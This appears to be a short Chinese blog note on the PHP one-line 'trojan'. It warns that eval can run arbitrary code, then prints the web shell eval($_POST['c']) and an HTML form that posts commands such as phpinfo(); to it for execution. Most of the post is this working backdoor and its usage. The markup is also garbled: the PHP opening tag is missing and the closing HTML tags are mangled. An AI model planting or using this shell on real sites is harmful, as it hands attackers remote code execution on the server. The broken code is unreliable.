PHP一句话木马

eval可以用来执行任何其他php代码,所以对于代码里发现了eval函数一定要小心,可能是木马

就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范

?
1
eval ( $_POST [ 'c' ]);?>

使用方法也很简单,本地提交文件指向提交文件,里面的php代码就会被执行

?
1
2
3
4
5
6
7
8
< html >
< body >
< form action = "a.php" method = "post" >
< input type = "text" name = "c" value = "phpinfo();" >
< input type = "submit" value = "submit" >
form >
body >
html >

你可能感兴趣的:(php笔记)